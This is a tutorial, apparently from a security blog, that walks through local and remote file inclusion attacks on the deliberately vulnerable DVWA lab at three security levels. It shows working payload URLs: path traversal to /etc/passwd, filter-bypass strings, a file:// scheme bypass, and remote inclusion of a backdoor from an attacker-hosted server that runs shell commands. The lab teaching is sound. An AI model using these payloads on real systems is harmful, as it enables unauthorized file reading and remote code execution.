In this tutorial, I’m going to show you how to exploit the file inclusion vulnerability in DVWA! But before doing that, for those of you who have not yet read my previous article, here is a very brief introduction!
Basically, file inclusion vulnerabilities happen when a website or application allows users to specify a file that should be included in the application’s code. This is usually done to make it easier for developers to update and maintain the application, but it can also be a major security vulnerability if not properly handled.
Imagine you have a website that allows users to upload profile pictures. If the website doesn’t properly check which files are being uploaded, a hacker could potentially upload a malicious file and trick the website into including it in the code. This could allow the hacker to gain unauthorized access to the system or even take it over completely.
To avoid file inclusion vulnerabilities, it’s crucial for developers to properly validate and sanitize the input of any file inclusion requests. This way, they can ensure that only safe and legitimate files are included in the code.
So next time you’re working on a website or application, remember to keep an eye out for file inclusion vulnerabilities.
How do attackers exploit file inclusion?
File inclusion vulnerabilities allow attackers to include a file, usually, through a script on a web server, that can allow them to gain unauthorized access to data or execute malicious code. There are two main types of file inclusion vulnerabilities:
- Local File Inclusion (LFI): This vulnerability allows an attacker to include files stored locally on the server. An attacker can use LFI to access sensitive files on the server, such as configuration files or log files, which may contain sensitive information such as usernames, passwords, and server paths. An attacker could also upload a malicious file taking advantage of another vulnerability: Unrestricted File Upload and then execute it.
- Remote File Inclusion (RFI): This vulnerability allows an attacker to include files from a remote server, such as an attacker’s own server. The hacker can use RFI to execute arbitrary code on the target server, which could allow the attacker to take control of the server. If RFI is present, there is no need to rely on another vulnerability to upload and execute arbitrary files. In a way, it turns out to be even more dangerous than LFI.
Usually, the file inclusion vulnerability exploitation, involves the injection of a malicious script. For example, an attacker might try to include a PHP file from a remote server by using a URL like this:
http://victim.com/vulnerable_script.php?file=http://attacker.com/malicious.php
If the vulnerable script does not properly sanitize user input and allows the inclusion of arbitrary files (RFI in this case), the malicious PHP code will be executed on the target server. This can let everyone gain unauthorized access to data or execute malicious code on the server.
File Inclusion Vulnerability By Example (DVWA)
The better way to understand this vulnerability is to see a real case example, as usual, I will assume you have an attacker machine and a working DVWA as a target.
In this tutorial, I will show you how to exploit File Inclusion on the DVWA that TryHackMe provides us.
If you are a StackZero‘s reader you probably already know how to access DVWA, but if you are new, this is just a quick refresh on how to log in and change the security level. And you can find self-explanatory instructions on TryHackMe for configuring the VPN.
So you can log in with these credentials:
- Username: admin
- Password: password
Go into the settings and set the difficulty as “Low”.
Step #1: Local File Inclusion Vulnerability in DVWA Low Security
I explained how to chain File Upload and File Inclusion vulnerabilities on DVWA in this article. So, here I just want to focus on File Inclusion.
As we have seen in the introduction, this vulnerability allows an attacker to see/execute a file without having reading/executing permissions.
Once we logged in to the right session we can see this section:
The query string in the URL bar catches the eye, the file is loaded dynamically, so we can guess that if the vulnerability is present, it would allow us to open almost whatever we want.
So let’s try to change the “page” variable with the relative path of the “passwd” file in Linux, and go to (remember to replace the IP with your target machine’s address):
http://10.10.229.208/vulnerabilities/fi/?page=../../../../../../../../../etc/passwd
The result is the list of users on the server.
But let’s go a step further, and get the flag!
As you can see in the structure of DVWA there is a folder named “flags” inside hackable. You can find it here and it contains the file we want to execute: fi.php.
So, as you already may have understood, we need to type the relative path to that file in order to execute it.
This is the URL we will insert into our browser:
http://10.10.229.208/vulnerabilities/fi/?page=../../hackable/flags/fi.php
And this will be the result!
We are done! It’s time to move to the next level!
Step #2: LFI Vulnerability in DVWA Medium Security
Our trip into file inclusion exploitation in DVWA it’s just at the beginning, but it’s becoming funnier and funnier!
Set the security level to “medium” and keep exploiting!
Obviously, the plain exploit doesn’t work at the medium level, but we are here to learn, so let’s deepen!
The server seems to apply some filters, but what are they?
By clicking the bottom right button on the page with the text “View Source” we can analyze the filters.
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?> The server uses the PHP str_replace function to replace the “dangerous” strings:
- HTTP, HTTPS: the developer wants to prevent the Remote File inclusion
- ../, ..\: the developer wants to prevent the directory traversal for Local File Inclusion
It’s not strong protection, as you can see from the documentation in the link, this method replaces the strings in the array in the first parameter with the string in the second parameter (the empty string in this case).
Try to imagine, for example, if we pass this string to the filter: ....//
What would happen? It will replace the bold substring with the empty string, and the result will be: ../
That is exactly what the developer didn’t want!
After understanding this, let’s try to apply it to our machine and type in the address bar:
http://10.10.229.208/vulnerabilities/fi/?page=….//….//hackable/flags/fi.php
And this will appear!
We have exceeded the medium level as well! It’s time to move on to the high one!
Step #3: LFI Vulnerability in DVWA High Security
Remember to set the security level as “high” before starting to exploit!
The previous exploits won’t work, and this filter is a bit harder to bypass, but let’s see what developers did invent this time!
By looking at the source, this is the mitigation:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?> It uses the PHP function fnmatch which checks if the string matches a shell pattern. In this case, it’s very simple and just checks if the variable starts with the string “file”, if not it returns an error.
We can retrieve files in the browser through the file URI scheme, and that’s exactly what we want because it starts with “file”!
So let’s type:
http://10.10.60.34/vulnerabilities/fi/?page=file:///var/www/html/hackable/flags/fi.php
And the result is:
Step #4: Remote File Inclusion Vulnerability in DVWA Low Security
I won’t consider this article complete without showing you an example of Remote File inclusion. So, if you want, try to set the security level of DVWA as “low” again and let’s try to include a file from an external source.
Obviously, if we want to include a file from an external server, the malicious server has to be reachable from the target.
In order to avoid out-of-scope and complicated network configuration, we will perform this attack from the AttackBox provided by TryHackMe.
Inside the AttackBox we can create a folder and place there a simple backdoor like this one.
Now we can start a server within this folder, in this tutorial I’ll use a Python module and I’ll type in the terminal:
python -m http.server
The last step is to execute the backdoor from the target, and we can do it by opening our browser and typing this URL:
http://10.10.60.34/vulnerabilities/fi/?page=http://10.10.194.87:8000/backdoor.php&cmd=uname -a
You should see a result like this one
And the exploit is done!
Set the security level as “medium” and read the next paragraph!
Step #5: RFI Vulnerability in DVWA Medium Security
We’ve already seen what kind of filter the developer uses! So we can take advantage of our knowledge and bypass it!
In this case, we need to insert the “http://” string, but the filter would replace it with the empty string. So we can build the string in a way that the result is exactly what we need.
This is the URL we are going to prompt to execute our exploit!
http://10.10.60.34/vulnerabilities/fi/?page=hhttp://ttp://10.10.194.87:8000/backdoor.php&cmd=uname -a
And it works!
Conclusion
In conclusion, file inclusion vulnerability is a critical security threat that can allow an attacker to gain unauthorized access to a vulnerable web server.
It is important for web developers to be aware of this vulnerability and to take steps to prevent it, such as properly sanitizing user input and implementing security best practices.
Additionally, security professionals should be familiar with file inclusion vulnerability and the tools and techniques used to exploit it, so that they can effectively defend against it. Overall, file inclusion vulnerability is a serious security threat that requires attention and action to prevent and mitigate.
Thanks for reading our article on file inclusion vulnerability and its example on DVWA. I hope you found it informative and helpful. If you want to stay up-to-date on the latest cybersecurity threats and best practices, make sure to follow my blog and social media channels. I’m always happy to answer any questions you may have.
Thanks again for your interest in my content.
